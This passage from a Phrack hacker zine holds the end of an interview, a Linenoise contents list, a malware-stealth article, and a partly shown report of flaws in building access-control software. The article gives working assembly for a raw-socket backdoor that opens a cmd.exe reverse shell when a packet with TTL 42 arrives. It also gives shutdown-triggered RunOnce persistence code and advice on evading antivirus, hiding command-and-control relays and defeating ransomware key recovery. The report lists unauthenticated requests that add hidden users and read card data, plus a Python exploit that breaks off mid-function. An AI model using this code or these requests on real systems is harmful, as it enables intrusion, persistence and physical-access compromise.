Lately I've come up with those speed gaming communities. It was an accident (the son of a friend had this old setup and I started inquiring why and he told me all about it, and even my friend was super surprised). It is crazy, because it is totally hacking (and kind of cheating, but totally not) to break security boundaries/assumptions, for the fun of it. There are categories (literally constraints on how much you can 'cheat'). Folks writing emulators, modified games, all kinds of things. It is beautiful! I do not play computer games at all, but I've got a full setup (that my friend's son did for me) and I tried the old Zelda. I have this idea that it could be the best way to teach vuln‑dev to folks, because you can see the game changing as you modify objects in memory. It is an interesting way to teach about allocation, and other things.

The "Art" of Hacking: [ What do you think the real "art" is in hacking? ]

The truth is that hacking involves dealing with frustration. You do not really know what is even possible (while an exploit is an actual proof that a bug is exploitable, and many bugs might be obviously exploitable, it is possible that nuances would prevent its exploitability). Hacking is also about modifying and exploring: doing things that were not originally intended. All of that requires inspiration. The art part is what helps us be inspired and continue having inspiration beyond the frustration. I can imagine the painter, that has a clear image in their head, but just can't translate it into a paint. So they erase it and start over. And do it again, and again, and again. That is hacking. And it is only possible for artists.

Now, vuln‑dev is not only possible to artists. A lot of the technical processes can be transformed into a pure engineering form. But the coining of the experiments, the expiration, I believe that will still remain as an art form. I've seem it in top performing vuln‑dev teams. You had lots of folks producing a lot, but you still had that one folk that everyone was like, they are 'the' beast. Those make a huge difference in the entire team. I guess they were pointing to the artists, the hackers.

|=‑‑‑=[ Personal

Other Interests: [ If you decided not to become a professional in the security space, what other interests motivate you? ]

Maybe a programmer, probably I would just be a loser, drunk somewhere.

Philosophy: [ Carpe Diem or Carpe Noctem ]

I do things when I'm inspired to do them and I believe humans are creature of habits so I try to create good habits (but I'm terrible at it, so it is an internal struggle). I do not sleep much and I prefer to work at night.

Zines: [ Thoughts the value of zines in a world where blogs and conferences provide a flood of information? ]

The challenge with blogs and conferences is that there is not necessarily a quality peer‑review process (I mean, I've pointed out some good teams that have blogs and they do have good peer‑review, I'm saying more generally). While academic conferences claim to have good peer‑review, the truth is that they suck (and are so focused on the formatting that they forget the actual content). Both cases put too much emphasis on claiming impact, which means that it is hard to take things at face value.

This is what I expect the value to be from a good zine. PoCs that work, content that makes sense. No big, hyped claims. "Hey, here is a bug, it works. It affects A and B, 90% of the time it succeeds but there is a 10% failure rate, which we believe could be made better because of Z, but we never really did it."

|=‑‑‑=[ Quotes

Any quotes you'd like us to include?

Yes, a few...

"I don't know what's the matter with people. They don't learn by understanding; they learn by some other way ‑ by rote, or something. Their knowledge is so fragile" ‑ R. Feynman

"What bothered me was, I thought he must have done the calculation. I only realized later that a man like Wheeler could immediately see all that stuff when you give him the problem. I had to calculate, but he could see"‑ R. Feynman

"And I remembered, when I saw this article again, looking at the curve and thinking, that does not prove anything!" ... "Since then I never pay attention to anything by experts. I calculate everything myself" ‑ R. Feynman

"They could not DO it. It was a kind of one‑upsmanship, where nobody knows what is going on, and they'd put the other one down is if they did know. They all fake that they know, and if one student admits for a moment that something is confusing by asking a question, the others take a high‑handed attitude, acting as if it is not confusing at all".

|=‑‑‑=[ Closing Thoughts

If someone tells you hacking is dead, it is because they are not involved in real hacking. They might have been. They might want to be. And that has nothing to do with their technical knowledge or ability. It just is. And if anyone tries to speak for all hackers, or for all hacking, they don't.

Including me in these closing thoughts and throughout this interview :)

Linenoise

==Phrack Inc.==

Volume 0x10, Issue 0x47, Phile #0x03 of 0x11

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ L I N E N O I S E ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ Phrack Staff ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Linenoise is a collection of artifacts that do not fit elsewhere. Short papers, corrections, brain dumps, late papers, etc..... :))

Contents

1 ‑ Practical tips and thoughts to improve your ‑‑ SWaNk malware stealthiness and increase campaign

dwell time

2 ‑ Bugs in Evolution Software Building ‑‑ evildaemond Access Control software

3 ‑ The Weaponization of Automation ‑‑ Xenon Hexafluoride

4 ‑ Riding with the Chollimas: Our 100 day quest ‑‑ MauroEldritch to profile a North Korean State‑Sponsored

Threat Actor

5 ‑ Master of Puppets ‑ turning AV sandboxes ‑‑ Grzegorz Tworek into a botnet

6 ‑ Learning an ISA by force of will ‑‑ iximeow

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑=[ 1 ‑ Practical tips and thoughts to improve your malware ]=‑‑‑‑‑‑‑‑‑=| |=‑=[ stealthiness and increase campaign dwell time ]=‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

by SWaNk <contato@vectorcrow.com>

‑‑[ Table of Contents

0. About the Author

1. Preamble and scope

2. Malware scene evolution

3. Definitions

3.1 Dwell time

3.2 Fudness

3.3 Windows messaging system

3.4 Port knocking

4. The devil is in the details

5. Avoid patterns, reinvent the wheel

6. To stage, or not to stage, that is the question...

7. Relays and multiple protocols

8. Port knocking + RAW SOCKETS = Stealth bind

9. Abusing Windows messaging system to install persistence 10. Final Words

11. References

‑‑[ 0. About the Author

I tend to define myself as a malware enthusiast. I have been coding malware since early 2k. My main skills are related to malware development and reverse engineering. Always available to malware, coffee, and beer.

I made some public contributions to the malware scene:

+ LOLBAS Project ‑ Different context, but the same technique published at 29a issue 7 https://lolbas‑project.github.io/lolbas/Libraries/Desk/

+ New way to startup files ‑ ShellExecute InstallScreenSaver API https://vxug.fakedoma.in/zines/29a/29a7/Articles/29A‑7.030.txt

+ The Fake Entry Point Trick https://github.com/vxunderground/VXUG‑Papers/blob/main/

The%20Fake%20Entry%20Point%20Trick.txt

+ Mocoh Polymorphic Engine https://github.com/vxunderground/VXUG‑Papers/blob/main/

Mocoh%20Polymorphic%20Engine.asm

‑‑[ 1. Preamble and scope

First of all, I need to praise and acknowledge the work done by the coders of the past. I thank the virus coding community's pioneers, who paved the way for knowledge dissemination without the lure of financial gain. We have a debt to those who generously shared their Tactics, Techniques, and Procedures (TTPs) in an era when the value lay solely in advancing the art of coding elegant malware, not monetary rewards. To them, I extend my gratitude.

This paper is not intended to be a comprehensive or definitive guide to evasion tactics. Instead, it provides a collection of techniques, tips, and reflections that I have found effective while conducting offensive operations using malware to accomplish my engagement objectives. Think of it as input ideas to stimulate the offensive mindset necessary for coding solid malware.

Some TTPs presented in this document are related to Windows OS. However, the main idea behind the TTP is holistic and can be applied to different OS. I tried to make this document enjoyable for both new malware coders and experienced ones (who are now a bit afk because they are leading teams). The idea was to initially provide strategic content regarding offensive malware operations and gradually move on to the technical stuff, delivering code and TTPs (the fun part).

Since the world has changed and nobody shares novelties anymore, you may be asking yourself why I'm putting effort into this paper and sharing it for free. First, it is a way to keep the scene alive. Second, it is a way to pay back the community. And my last and most important reason is that I fucking miss the old times...

‑‑[ 2. Malware scene evolution

Today's malware scene is global and intricately intertwined with the cybersecurity industry. The community's behavior regarding sharing new TTPs have changed because companies and governments legally hire people to code and analyze malware. Therefore, new TTPs have financial value in this market. While courses and certifications offer valuable insights that reduce the learning course, they often provide outdated TTPs. Therefore, in an industry where novel TTPs are both highly valuable and short‑lived, the unwillingness to share knowledge is understandable and a big trend.

This lack of knowledge sharing underscores the importance of initiatives like this one. By pooling our collective wisdom and experiences, we can bridge the gap between theory and practice, arming practitioners with the tools they need to stay ahead of emerging threats. This small contribution to a community thrives on collaboration and shared learning.

‑‑[ 3. Definitions

This section will introduce some essential definitions in the context of malware development. If you are familiar with them, skip to the next section.

‑‑[ 3.1 Dwell time

Dwell time in the context of cybersecurity "is the time between an attacker's initial penetration of an organization's environment and the point at which the organization finds out the attacker is there" [1]. It is metric used by the defensive team to perceive if the defense is getting better detecting threats.

‑‑[ 3.2 Fudness

The concept of FUDness, or Fully UnDetectable, is the ultimate aspiration for adversaries seeking to evade detection and maintain operational stealth. A FUD malware means it was meticulously crafted to bypass traditional security measures and avoid detection by defensive mechanisms in a specific engagement.

FUDness is a state. You can be FUD now and be detected later. Therefore, before engaging, you must be sure that your malware is FUD regarding the target defense mechanisms. Achieving FUD normally requires innovative techniques, obfuscation methods, and continuous adaptation to evade evolving detection algorithms. You must understand and meticulously analyze the behavior of security products to exploit weaknesses and blind spots in detection mechanisms.

‑‑[ 3.3 Windows messaging system

The Windows messaging system facilitates communication between different parts of a Windows operating system's graphical user interface (GUI) application. When a application needs to communicate with another (such as when a button is clicked, or a window needs to be updated) it sends messages.

In Section 9, our malware snippet will intercept specific System Shutdown Messages [2] that indicate a system reboot/logoff/restart to install a persistence that will exist in the system just before the shutdown and the next login, reducing the detection window.

‑‑[ 3.4 Port knocking

Port knocking is a technique used to enhance network security by obscuring the existence of services running on a server. It involves dynamically altering firewall rules to open network ports in response to a sequence of connection attempts on predefined "knock" ports. Once the correct sequence of "knocks" is detected, the firewall rules are modified to allow temporary access to the desired service port. This technique helps a lot to increase your dwell time.

‑‑[ 4. The devil is in the details

As the old saying goes, "The devil is in the details," nowhere is this more accurate than malware development. While the overarching goal may be to infiltrate systems and evade detection, the meticulous attention to detail, particularly in error handling, ultimately determines the success or failure of an offensive campaign.

No matter how seemingly insignificant, errors can potentially betray the presence of malware and undermine the entire operation. A single oversight, a careless exception, can expose the carefully crafted piece of code and alert defenders. Therefore, malware developers must adhere to a mantra of precision and discretion, ensuring errors are handled with utmost care. We can improve the dwell time by meticulously addressing mistakes behind the scenes without alerting users or triggering defensive mechanisms. At the end of the day, it is better to lose access to a network than be spotted.

‑‑[ 5. Avoid patterns, reinvent the wheel

By avoiding code reuse and third‑party libraries, malware authors can make it more difficult for detection engineers to create signatures, detection rules, and strategies. In my experience, this posture helps a lot.

For example, I recently engaged with a ransomware detection solution. The solution tries to collect the key used by ransomwares hooking Windows crypto APIs [3] parameters. The defensive hypothesis is that the malware coder will use Windows Cryptography APIs to encode files. The reinvent‑the‑wheel strategy was fundamental in this engagement. I usually use native OS APIs when it is strictly necessary. Therefore, I coded all the cryptographic functions in the ransomware. Thus, the solution wasn't ready for this move, making it impossible to achieve the key recovery.

Every environment has its own unique set of security measures and defenses. By reinventing the wheel and customizing malware for each target, attackers can increase their chances of success by tailoring their tactics to exploit specific vulnerabilities or weaknesses.

Reusing code can lead to attribution, as threat intelligence researchers may identify similarities between malware samples or campaigns. By creating unique malware from scratch, attackers can minimize the risk of attribution and create more resilient, adaptable threats that are better equipped to evade detection and bypass defenses.

‑‑[ 6. To stage, or not to stage, that is the question...

Staged and non‑staged malware refers to different approaches to executing your malware.

Non‑staged malware delivers the entire malicious payload in a single stage without additional components or downloads. The payload is typically included in the initial executable or file. They are simple to code and do not require communication with remote servers. However, Non‑staged malware has more detection surface to be explored by security solutions, as the entire payload and functionalities are present in the artifact, increasing the likelihood of detection. Additionally, they tend to be less adaptable to changes in the threat landscape, as updates and modifications require changes to the entire payload. However, when dealing with specific scenarios, we must use Non‑staged malware.

Staged malware delivers the malicious payload in multiple stages, each performing a specific function or task. Typically, the initial stage is a lightweight loader or downloader that retrieves additional components or payloads from different remote servers. They can be more challenging to detect by security solutions, as the initial payload may be simple, almost benign, or have a low detection rate, allowing it to bypass initial security checks. Additionally, it offers greater flexibility and adaptability, as attackers can update and modify the subsequent stages, providing functionalities to the malware when convenient. For example, you deliver your initial stage. No persistence and no fancy functionalities; just download a shellcode and run it in the memory. The shellcode can provide recon on the target to ensure you are in a safe environment. In this case, you have the option to send the subsequent stages when you identify low detection risk. The initial stages are trivial to code; you can take risks. It differs from complex shellcodes and expensive exploits; creating them takes a lot of time and money. In this case, you must make a risk analysis regarding the target's defensive capabilities to decide if the chances of detection are acceptable.

In summary, The choice between staged and non‑staged malware depends on the attacker's specific objectives and requirements, as well as the targeted environment and defenses. I tend to choose staged malware when possible because it offers the necessary compartmentation to protect critical parts of the malware and provides more flexibility during the engagement.

‑‑[ 7. Relays and multiple protocols

One proven successful strategy is using a pool of intermediary relays to protect the malware Command and Control (C2) infrastructure. It comprises a pool of intermediary servers or relays that receive information in one protocol and forward it using another.

Using different protocols to receive and send commands to the malware can reduce the attribution and detection risks. Some security vendors collect and sell massive sets of metadata about the IP traffic flowing across the Internet (NetFlows [4]). A specific vendor promises 95% of the Internet traffic flows. This data is interesting for supporting flow‑based traffic analysis to infer attribution. The idea here is to make the inference more difficult by increasing the giant mass of data they need to process.

One key concept in NetFlow is the IP flow tuple, which uniquely identifies individual flows of network traffic. The classic IP flow tuple consists of source IP, destination IP, ports, protocol type, and quality of service. We intend to deny the possibility of filtering the protocol type to reduce data.

By receiving and transmitting data using different protocols (e.g., a relay that receives data using TCP and forwards it to another relay using UDP), we force the analysis to consider all protocol types, increasing the amount of data to be analyzed. Filtering protocols will result in failure to infer a relation among traffic flows. In the worst‑case scenario, we create difficulties, forcing the adversary to spend more computational resources and probably time trying to attribute us.

Relay networks provide malware operators with a dynamic and resilient infrastructure that can adapt to changes in the threat landscape. By leveraging a pool of relays, malware can quickly switch between different communication channels and protocols, making it challenging for defenders to effectively track and block C&C traffic.

By utilizing relays located in different geographic regions, malware operators can further obfuscate their C2 infrastructure and evade detection by defenders. This geographical diversity makes it difficult for defenders to pinpoint the origin of malicious traffic and identify the underlying infrastructure supporting the malware campaign. Additionally, using a pool of relays, where the same relay takes time to be used again, helps avoid traffic patterns and provides extra compartmentation and attribution resilience when installed in different countries regarding law enforcement collaboration. The best scenario is when the countries don't have a good international relationship, and you have two relays forwarding traffic between those countries.

‑‑[ 8. Port knocking + RAW SOCKETS = Stealth bind

As stated in 3.4, port knocking offers a powerful mechanism for enhancing malware operations' stealthiness by concealing service ports, dynamically controlling access to services, and customizing communication channels based on predefined knock sequences.

Raw sockets, also known as raw packet sockets, are a type of network socket that provides access to network protocols at a lower level than traditional sockets. Unlike standard sockets, which handle communication at the transport layer (e.g., TCP, UDP), raw sockets allow applications to interact directly with the network layer (e.g., IP) and even lower, bypassing some of the higher‑level protocol stack. They are commonly used for packet sniffing and network analysis purposes.

Applications can use raw sockets to capture incoming and outgoing network packets and inspect their contents; we will exploit this functionality. It's important to note that raw sockets typically require elevated privileges to operate. Therefore, we use this technique when the target has already been compromised, and you have gained admin privileges.

The strategy here is to code a malware that can sniff the network and, depending on the sequence of the perceived traffic (port knock), the malware reacts to it. In this example, we will use a simple reverse TCP connection to the Source IP that triggered the port knock. This way, we can "Listen" to connections without binding a port. Talk is cheap, show me the code...

<‑‑‑‑‑‑ start of code ‑‑‑‑‑‑>

format pe console

entry start

include 'win32ax.inc'

struct IP_Header

iph_verlen db 0

iph_tos db 0

iph_len dw 0

iph_id dw 0

iph_offset dw 0

iph_ttl db 0

iph_proto db 0

iph_xsum dw 0

iph_src dd 0

iph_dest dd 0

ends

;%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%

.data

;%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%

s_wsa WSADATA

s_addr sockaddr_in

r_wsa WSADATA

r_addr sockaddr_in

s_sock dd ?

r_sock dd ?

flag dd 1

PORT = 8080

SIO_RCVALL = 0x98000001

IPPROTO_IP = 0x0

IPPROTO_TCP = 0x6

IPPROTO_ICMP = 0x1

sinfo STARTUPINFO

pinfo PROCESS_INFORMATION

align 16

buff IP_Header

;%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%

.code

;%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%

start:

invoke WSAStartup,0202h,s_wsa

invoke gethostname,buff,64

invoke gethostbyname,buff

mov eax,[eax+12]

mov eax,[eax]

mov eax,[eax]

mov [s_addr.sin_addr],eax

mov [s_addr.sin_port],0

mov [s_addr.sin_family],AF_INET

invoke socket,AF_INET,SOCK_RAW,IPPROTO_IP

mov [s_sock],eax

or eax,eax

jnz @f

jmp @exit

@@:

invoke bind,[s_sock],s_addr,16

or eax,eax

jz @f

jmp @exit

@@:

invoke ioctlsocket,[s_sock],SIO_RCVALL,flag ;Receive All Packet or eax,eax

jz @sniff

jmp @exit

@sniff:

invoke recv,[s_sock],buff,512,0

;%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%

; Here we check if the TTL is equal to 42.

; the Answer to the Ultimate Question of Life, The Universe, and ; Everything!!!

;%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%

;is this ICMP?

xor ebx,ebx

mov bl,[buff.iph_proto]

cmp bl,IPPROTO_ICMP

jne @sniff

;ICMP, then put the packet TTL value in al

xor eax,eax

mov al,[buff.iph_ttl]

;TTL = 42?

cmp al,42d

je trigger

jmp @sniff

@exit:

invoke ExitProcess,0

trigger:

cinvoke printf,<'[*] KNOCK, KNOCK! TTL = %05d',13,10,0>,eax

@@:

;just a simple reverse TCP ahead, it will connect to the src IP invoke WSAStartup,0202h,r_wsa

test eax,eax

jnz @exit

invoke WSASocketA,AF_INET,SOCK_STREAM,IPPROTO_TCP,0,0,0 cmp eax,‑1

jz @exit

mov [r_sock],eax

mov [r_addr.sin_family],AF_INET

invoke htons,PORT

mov [r_addr.sin_port],ax

invoke inet_ntoa,[buff.iph_src]

invoke gethostbyname,eax

mov eax,[eax+12]

mov eax,[eax]

mov eax,[eax]

mov [r_addr.sin_addr],eax

mov eax,[r_sock]

mov [sinfo.hStdInput],eax

mov [sinfo.hStdOutput],eax

mov [sinfo.hStdError],eax

mov dword [sinfo.cb],sizeof.STARTUPINFO

mov dword [sinfo.dwFlags],STARTF_USESHOWWINDOW+\ STARTF_USESTDHANDLES

invoke connect, [r_sock],r_addr,sizeof.sockaddr_in cmp eax,0

jne @sniff

invoke CreateProcess,0, <"cmd.exe">,0,0,TRUE,0,0,0,\ sinfo,pinfo

invoke WaitForSingleObject,dword[pinfo.hProcess],‑1 invoke Sleep,10000

jmp @b

;%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%

section '.idata' import data readable

;%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%

library kernel32,'kernel32.dll',\ user32,'user32.dll',\

wsock32,'wsock32.dll',\

msvcrt,'msvcrt.dll',\

ws2_32,'ws2_32.dll'

import msvcrt,\

printf,'printf',\

scanf,'scanf'

import ws2_32,\

WSACleanup,'WSACleanup',\ listen,'listen',\

accept,'accept',\ WSASocketA,'WSASocketA'

include 'api\kernel32.inc'

include 'api\user32.inc'

include 'api\wsock32.inc'

<‑‑‑‑‑‑ end of code ‑‑‑‑‑‑>

The code provided is written in FASM syntax (x86 for Windows). It sniff the packets waiting for a specially crafted packet with a TTL (Time To Live) value of 42 to his host. If the TTL value matches 42, it triggers the execution of a reverse TCP shell to connect back to the source IP address from which the TTL 42 packet was received.

Here's a breakdown of what the code does:

1. It sets up a raw socket (SOCK_RAW) to receive all IP packets. 2. It enables the socket to receive all packets calling ioctlsocket API with the SIO_RCVALL flag. When SIO_RCVALL is enabled on a raw socket, it receives all incoming packets on the associated network interface, regardless of their destination IP address.

3. It enters a loop to sniff incoming packets. When a packet is received It extracts the TTL value from the IP header. If the TTL value is 42, it triggers the execution of a reverse TCP shell.

4. The reverse TCP shell connects back to the source IP address from which the TTL 42 packet was received.

This example is using TTL on purpose... You have to change the trigger to work in the real world because the TTL will change depending on the hops quantity. No free lunch. You must understand how this

stuff works to use it properly.

It's important to note that detecting this malware in its dormant state (sniffing) can be challenging for regular users and newbie forensics analysts because tools used to perform traffic analysis like netstat, System Informer, TCPView, Wireshark, and others cannot identify this technique.

Another usage of sniffing is measuring the host's average traffic regarding protocols and data volume. This can be useful when facing Data Loss Protection (DLP) solutions. In that case, we must avoid exceeding the protocol's traffic average volume while exfiltrating data.

Finally, this code is independent of third‑party libs or frameworks like Winpcap or .NET. This characteristic is desirable when coding malware since compatibility is paramount most of the time.

‑‑[ 9. Abusing Windows messaging system to install persistence

Windows GUI applications that use the Messages in the Windows messaging system listen and send messages to interact with other applications, as stated in section 3.3. Usually, a message is sent to specific windows identified by their handles. However, there are cases where messages are broadcasted to multiple windows or all windows in the system. For example, a "WM_SYSCOMMAND" message [5] with the "SC_MONITORPOWER" parameter (wParam) is usually sent to all top‑level windows using the handle HWND_BROADCAST [6]. This way, all windows receive a message informing that the system is entering a power‑saving state, such as when the monitor is about to be turned off. This normal behavior can be abused to start malicious routines when the application perceives specific messages.

We will abuse system shutdown messages to install persistence in the system. This approach's advantage is that the persistence will only exist seconds after a logoff, reboot, or shutdown command and the startup.

In the example code provided, we install the persistence in the registry at HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce. The RunOnce key is used to specify programs that should be run once, automatically, when Windows starts up. Unlike the Run key, which specifies programs to run every time Windows starts, the RunOnce key is designed for one‑time execution of programs or commands. Once run, then the system automatically deletes the key.

The issue occurs when the machine resets non‑gracefully, like a BSOD or a hard reset. In this case, we will lose the system's persistence. On the other hand, this TTP has a short exposure time, so using forensics tools to search for persistence will be ineffective. If the risk of losing access is not acceptable, you should use another technique or a backup persistence.

The code is self‑explanatory. We will monitor the messages WM_QUERYENDSESSION (when the user chooses to end the session or when an application calls one of the system shutdown functions), WM_ENDSESSION (informs the application whether the session is ending), and WM_POWERBROADCAST with lParam PBT_APMSUSPEND (the computer is about to enter a suspended state). If the application finds one of them, we install the persistence in the registry. Simple as that.

<‑‑‑‑‑‑ start of code ‑‑‑‑‑‑>

format PE64 GUI 5.0

entry start

include 'win64ax.inc'

;%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%

section '.text' code readable executable

;%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%

start:

sub rsp,8

invoke MessageBoxA,0 ,'survived bitches!', 'SWaNk 2024', 40h

invoke GetModuleHandle,0

mov [wc.hInstance],rax

invoke LoadIcon,0,IDI_APPLICATION

mov [wc.hIcon],rax

mov [wc.hIconSm],rax

invoke LoadCursor,0,IDC_ARROW

mov [wc.hCursor],rax

invoke RegisterClassEx,wc

test rax,rax

jz exit

invoke CreateWindowEx,WS_EX_TOOLWINDOW or WS_EX_TOPMOST,_class,\ _title,WS_SYSMENU+WS_DLGFRAME,128,128,256,192,NULL,NULL,\ [wc.hInstance],NULL

test rax,rax

jz exit

msg_loop:

invoke GetMessage,msg,NULL,0,0

cmp eax,1

jb exit

jne msg_loop

invoke TranslateMessage,msg

invoke DispatchMessage,msg

jmp msg_loop

exit:

invoke ExitProcess,[msg.wParam]

proc WindowProc uses rbx rsi rdi, hwnd,wmsg,wparam,lparam

cmp edx,WM_QUERYENDSESSION

je .wmqueryendsession

cmp edx,WM_POWERBROADCAST

je .wmpowerbroadcast

cmp edx,WM_ENDSESSION

je .wmqueryendsession

cmp edx,WM_DESTROY

je .wmdestroy

.defwndproc:

invoke DefWindowProc,rcx,rdx,r8,r9

jmp .finish

.wmpowerbroadcast:

cmp r9d, 0x80000000

jne .finish

.wmqueryendsession:

invoke RegCreateKeyExA, HKEY_CURRENT_USER,AutoKey,NULL,NULL,\ NULL,KEY_ALL_ACCESS,NULL,hkey,NULL

cmp rax,0

jne exit

invoke GetModuleFileName,NULL,szFile,256

cmp rax,0

je exit

invoke lstrlen,szFile

cmp rax,0

jbe exit

invoke RegSetValueExA,[hkey],ValueName,NULL,REG_SZ,szFile,eax cmp rax,0

jne exit

invoke RegCloseKey,[hkey]

jmp .finish

.wmdestroy:

invoke PostQuitMessage,0

xor eax,eax

.finish:

ret

endp

;%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%

section '.data' data readable writeable

;%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%

AutoKey db 'Software\Microsoft\Windows\CurrentVersion\RunOnce',0 ValueName db 'EvilMalware',0

hkey dd ?

szFile dd ?

_title TCHAR 'title',0

_class TCHAR 'class',0

wc WNDCLASSEX sizeof.WNDCLASSEX,0,WindowProc,0,0,NULL,NULL,NULL,\ COLOR_BTNFACE+1,NULL,_class,NULL

msg MSG

;%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%

section '.idata' import data readable writeable

;%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%

library kernel32,'KERNEL32.DLL',\ user32,'USER32.DLL',\ advapi32,'ADVAPI32.DLL'

include 'api\kernel32.inc'

include 'api\user32.inc'

include 'api\advapi32.inc'

<‑‑‑‑‑‑ end of code ‑‑‑‑‑‑>

‑‑[ 10. Final Words

"Quem refresca cu de pato eh lagoa [<o>]" VX Forever!

‑‑[ 11. References

[1] Why The Dwell Time Of Cyberattacks Has Not Changed (2021) https://www.forbes.com/sites/forbestechcouncil/2021/05/03/

why‑the‑dwell‑time‑of‑cyberattacks‑has‑not‑changed/?sh=e32b93b457d8 [2] System Shutdown Messages (2021) https://learn.microsoft.com/en‑us/windows/win32/shutdown/

system‑shutdown‑messages

[3] Cryptography Functions (2021) https://learn.microsoft.com/en‑us/windows/win32/seccrypto/

cryptography‑functions?source=recommendations

[4] RFC 3954 NetFlow Version 9 (2004) https://www.ietf.org/rfc/rfc3954.txt

[5] WM_SYSCOMMAND message https://learn.microsoft.com/en‑us/windows/win32/menurc/wm‑syscommand

[6] SendMessage function (winuser.h) https://learn.microsoft.com/en‑us/windows/win32/api/winuser/

nf‑winuser‑sendmessage

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑=[ 2 ‑ Bugs in Evolution Software Building Access Control software ]=‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

by evildaemond

Evolution Software is a wild piece of software, used for access control systems in buildings in Australia. The software has been out since the 2000s and still gets updates (Last update March 30th 2024 at time of this writing). One of the wild parts of this software is the web interface. If you enable this web interface, you get one of the most poorly optimised webpages you've ever seen, and some of the worst security I've witnessed. This thing is like a CTF, and it's harder to not find vulnerabilities than to find them.

Here are some highlights:

1. Trigger a full application crash

GET /DAL_ADD?' HTTP/1.1

2. Add a user to the system

Just add a user to the system, no authentication needed, and if you chose operator_id as 0, it won't appear in the user creation logs or show when they were created

POST /USER_CHANGE HTTP/1.1

...

user_operator_id=0&user_id=0&user_name=JamesSmith&1=on&loc_form_user_ card_imptrinted=0&loc_form_user_als_sitecode=1&loc_form_user_als_sitec ode_new=1&loc_form_user_card=1&loc_form_user_data1=&loc_form_user_data2 =&command=

3. Get any users card data (FC and CN)

POST /DESKTOP_EDIT_USER_GET_CARD_FIELDS HTTP/1.1

...

1

2

get_code

4. PoC

Below is a poorly written Python PoC chatGPT wrote for it, if you want to hide it in the next edition somewhere feel free to

import requests

import argparse

import re

from bs4 import BeautifulSoup

def application_crash(host, port):

try:

url = f"http://{host}:{port}/DAL_ADD?'"

response = requests.get(url)

response.close()

# In case of any response, return it for information purposes return 'Request Sent'

except:

return 'Request Sent'

def request_all_users(host, port):

url = f'http://{host}:{port}/ID1_Users'

headers = {

'Host': host,

"User‑Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) \ Gecko/20100101 Firefox/66.0",

'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,\ image/avif,image/webp,image/apng,*/*;q=0.8,application/signed‑exchange;v=b3;q=0.7',

'Accept‑Encoding': 'gzip, deflate, br', "Connection": "keep‑alive"

}

response = requests.get(url, headers=headers) response.close()

soup = BeautifulSoup(response.text, 'html.parser')

# Check for session expiration or not logged in error response script_tag = soup.find('script', string='opener.location="UnLoggedPage.html"') if script_tag:

return "Error: Session appears to have expired, or user not logged in."

# Check if the expected user table exists

table = soup.find("table", {"id": "Users"})

if table:

users = []

for row in table.find_all("tr")[1:]: # skipping first row as it's a header cols = row.find_all("td")

user_id = cols[0]['id']

user_name = cols[0].text.strip() users.append((user_id, user_name))

output = "\n\nUsers in System\n|ID|Name|\n|‑‑‑|‑‑‑|" for user in users:

output += f"\n|{user[0]}|{user[1]}|"

return output

else:

return "Error: Could not find the expected user table in the response."

def return_last_scanned_card(host, port):

url = f'http://{host}:{port}/DESKTOP_EDIT_USER_GET_CARD'

headers = {

'Host': host,

"User‑Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) \ Gecko/20100101 Firefox/66.0",

'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,\ image/avif,image/webp,image/apng,*/*;q=0.8,application/signed‑exchange;v=b3;q=0.7',

'Accept‑Encoding': 'gzip, deflate, br', "Connection": "keep‑alive"

}

response = requests.post(url, headers=headers) response.close()

# Assuming the response body contains the values in the order described. lines = response.text.strip().split('\n')

if lines[0] == 'true':

hex_value = lines[1]

site_code = lines[2]

card_number = lines[3]

output = "\n|Site Code/Facility Number|Card Number|Hex|\n|‑‑‑|‑‑‑|‑‑‑|\n" output += f"|{site_code}|{card_number}|{hex_value}|" return output

else:

return "\nNo last scanned card found, either a registered reader \ has not been configured, or no cards have been swiped in \

since it was last requested"

def request_all_doors(host, port):

url = f'http://{host}:{port}/ID1_Device%20Doors'

headers = {

